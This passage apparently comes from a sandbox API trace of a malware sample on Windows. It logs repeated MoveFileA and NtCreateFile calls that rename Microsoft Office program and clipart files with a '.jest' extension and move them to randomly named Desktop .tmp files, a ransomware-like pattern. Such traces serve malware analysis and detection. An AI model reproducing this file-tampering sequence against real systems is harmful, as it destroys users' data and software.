office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml.jest")) returned 1 [0169.262] VarBstrFromR4 (in: fltIn=0x47945969, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.82") returned 0x0 [0169.263] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yIAJjhE1Re5IKZ39Lj3zUsF4q0U6AK06Yjfq DugFB0C95GHjyYPOeLE20vOEvKqCVlGLP2WmuLVfQg4pIn3R9icD45BnoPPM4t.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yiajjhe1re5ikz39lj3zusf4q0u6ak06yjfq dugfb0c95ghjyypoele20voevkqcvlglp2wmulvfqg4pin3r9icd45bnoppm4t.tmp")) returned 0 [0169.263] GetLastError () returned 0x2 [0169.267] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="￸", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.269] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg.jest")) returned 1 [0169.272] VarBstrFromR4 (in: fltIn=0x4794596b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.84") returned 0x0 [0169.273] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lgONTyRX_xxwjzzGWWtj6syjxt6bE qYeCOOfuIuEm4vdZPZR4Bjg6gckKHQNRGRZSxMBrGpEQ1t3rckfjhf93nuFkqLeT0AwkJEx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lgontyrx_xxwjzzgwwtj6syjxt6be qyecoofuiuem4vdzpzr4bjg6gckkhqnrgrzsxmbrgpeq1t3rckfjhf93nufkqlet0awkjex.tmp")) returned 0 [0169.274] GetLastError () returned 0x2 [0169.275] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.276] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg.jest")) returned 1 [0169.279] VarBstrFromR4 (in: fltIn=0x4794596b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.84") returned 0x0 [0169.280] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\infopathwelcomeimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-LYP_F1fs3Pzv21kdXLWdpby67im ymFIGDjT7cfRoFBzlSmf3KJ4m_9stpJz1rcrjusRpWkAhk9PuTM2E3 IJc198WHjIkXHDng.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-lyp_f1fs3pzv21kdxlwdpby67im ymfigdjt7cfrofbzlsmf3kj4m_9stpjz1rcrjusrpwkahk9putm2e3 ijc198whjikxhdng.tmp")) returned 0 [0169.280] GetLastError () returned 0x2 [0169.280] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.282] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg.jest")) returned 1 [0169.284] VarBstrFromR4 (in: fltIn=0x4794596b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.84") returned 0x0 [0169.285] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationicon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eRIu4PCao7TsEP rz By9iXmYQlrC_GCODQ5YMAGBD qcVtVI E0Yy7GNIs1CrbEE FzfzMtBkcXPfjNk8lOssPEZB2goEMyghIZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eriu4pcao7tsep rz by9ixmyqlrc_gcodq5ymagbd qcvtvi e0yy7gnis1crbee fzfzmtbkcxpfjnk8losspezb2goemyghiz.tmp")) returned 0 [0169.285] GetLastError () returned 0x2 [0169.286] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\x12\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.288] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\x15\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.288] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.290] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml.jest")) returned 1 [0169.292] VarBstrFromR4 (in: fltIn=0x4794596d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.85") returned 0x0 [0169.293] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R9SvJkNGUH19EF3HCcoD7AxJPoT4snOLT5GJFr8pzHt1 Cx6INOcv7bi9ng69BfQ2dglmK0Ma2Qz_Uj2FUn6Og_xBYel2j9_oUmCe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r9svjknguh19ef3hccod7axjpot4snolt5gjfr8pzht1 cx6inocv7bi9ng69bfq2dglmk0ma2qz_uj2fun6og_xbyel2j9_oumce.tmp")) returned 0 [0169.294] GetLastError () returned 0x2 [0169.294] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\x1d\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml.jest")) returned 1 [0169.299] VarBstrFromR4 (in: fltIn=0x4794596d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.85") returned 0x0 [0169.300] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8xukCuRfBLvcGAjmoRm7EeF80-OQM6zK0jwZOgOKFNiWrHlPcsWUfUb2mzuUhD wlPjuqsfatH769V3WVkEJV2vOeM0px9gkQ6NZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8xukcurfblvcgajmorm7eef80-oqm6zk0jwzogokfniwrhlpcswufub2mzuuhd wlpjuqsfath769v3wvkejv2voem0px9gkq6nz.tmp")) returned 0 [0169.300] GetLastError () returned 0x2 [0169.300] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="#\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.301] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml.jest")) returned 1 [0169.304] VarBstrFromR4 (in: fltIn=0x4794596f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.87") returned 0x0 [0169.306] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sq3wpTk2wuzS5O36L8JBL9vsMmrVPo3THH6ACHDr1ofKMk7JuJo3VKmgAOaPZlc yntTJHEGo4Nb85BU4ZHlrXsEZFnciWkiQ-j.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sq3wptk2wuzs5o36l8jbl9vsmmrvpo3thh6achdr1ofkmk7jujo3vkmgaoapzlc ynttjhego4nb85bu4zhlrxsezfnciwkiq-j.tmp")) returned 0 [0169.306] GetLastError () returned 0x2 [0169.307] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName=",\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.308] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.309] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.jest")) returned 1 [0169.312] VarBstrFromR4 (in: fltIn=0x4794596f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.87") returned 0x0 [0169.313] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BCOqClnFzoIvnMEkO1mE5EYOrDeLZD2bs1UviiXy__b6G_BeLvt-EDTQkBH ebx24yGfxMzqMrnueEvsrrWyBt36mtjh2_PpbXMgF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bcoqclnfzoivnmeko1me5eyordelzd2bs1uviixy__b6g_belvt-edtqkbh ebx24ygfxmzqmrnueevsrrwybt36mtjh2_ppbxmgf.tmp")) returned 0 [0169.313] GetLastError () returned 0x2 [0169.314] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="4\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.315] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="6\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.318] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.319] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.jest")) returned 1 [0169.322] VarBstrFromR4 (in: fltIn=0x47945971, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.88") returned 0x0 [0169.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ekxGWqjF QQIXVPuqPhRLh5SU3_wp5a fYrfqpHEixy4B AANWW0spvlYXjbt_cbdE0FRpnVVTsM3zQy3giOhcklxVXSu2ccCpBX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ekxgwqjf qqixvpuqphrlh5su3_wp5a fyrfqpheixy4b aanww0spvlyxjbt_cbde0frpnvvtsm3zqy3giohcklxvxsu2cccpbx.tmp")) returned 0 [0169.323] GetLastError () returned 0x2 [0169.323] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.jest")) returned 1 [0169.327] VarBstrFromR4 (in: fltIn=0x47945971, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.88") returned 0x0 [0169.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O2B__sKbJUDRcxafopzG2dOlov4d qY_ONEssryRZ QgJCXYo7vMu2SS1cxE-lCOWr8OI821_iOotpcb5Fp0vO phMvdnjndoBbN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o2b__skbjudrcxafopzg2dolov4d qy_onessryrz qgjcxyo7vmu2ss1cxe-lcowr8oi821_iootpcb5fp0vo phmvdnjndobbn.tmp")) returned 0 [0169.328] GetLastError () returned 0x2 [0169.329] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.330] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.jest")) returned 1 [0169.333] VarBstrFromR4 (in: fltIn=0x47945973, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.9") returned 0x0 [0169.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cwhPlouTc2D7b-2LvtJtGIT9TjjIITgIOhPBoViOULPepF29TicLCnggkopioBCEHF2wLunV_crhRlkQpTYsJgLT707poCBLVEX8j.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cwhploutc2d7b-2lvtjtgit9tjjiitgiohpbovioulpepf29ticlcnggkopiobcehf2wlunv_crhrlkqptysjglt707pocblvex8j.tmp")) returned 0 [0169.334] GetLastError () returned 0x2 [0169.335] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.jest")) returned 1 [0169.342] VarBstrFromR4 (in: fltIn=0x47945973, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.9") returned 0x0 [0169.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7aszJ286JemzP2coH_O0xR -kgpF20JLyK4zOG-TtvEtkdjgl22pA1l2p4gH_9StBxr0W7f6-m4Dn0Gun0asB9dLBVJLp-K496tkj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7aszj286jemzp2coh_o0xr -kgpf20jlyk4zog-ttvetkdjgl22pa1l2p4gh_9stbxr0w7f6-m4dn0gun0asb9dlbvjlp-k496tkj.tmp")) returned 0 [0169.343] GetLastError () returned 0x2 [0169.343] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.344] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.jest")) returned 1 [0169.347] VarBstrFromR4 (in: fltIn=0x47945973, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.9") returned 0x0 [0169.347] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zUe dLGQIWARUCXWowtVMV7OOj_bpqvq6Hd4f9yq77 _sUSN-jmAEfK_6C0S6p-ZsCABjMKHfF2DOGfwxuco nEenqCn h9e29RU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zue dlgqiwarucxwowtvmv7ooj_bpqvq6hd4f9yq77 _susn-jmaefk_6c0s6p-zscabjmkhff2dogfwxuco neenqcn h9e29ru.tmp")) returned 0 [0169.348] GetLastError () returned 0x2 [0169.348] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 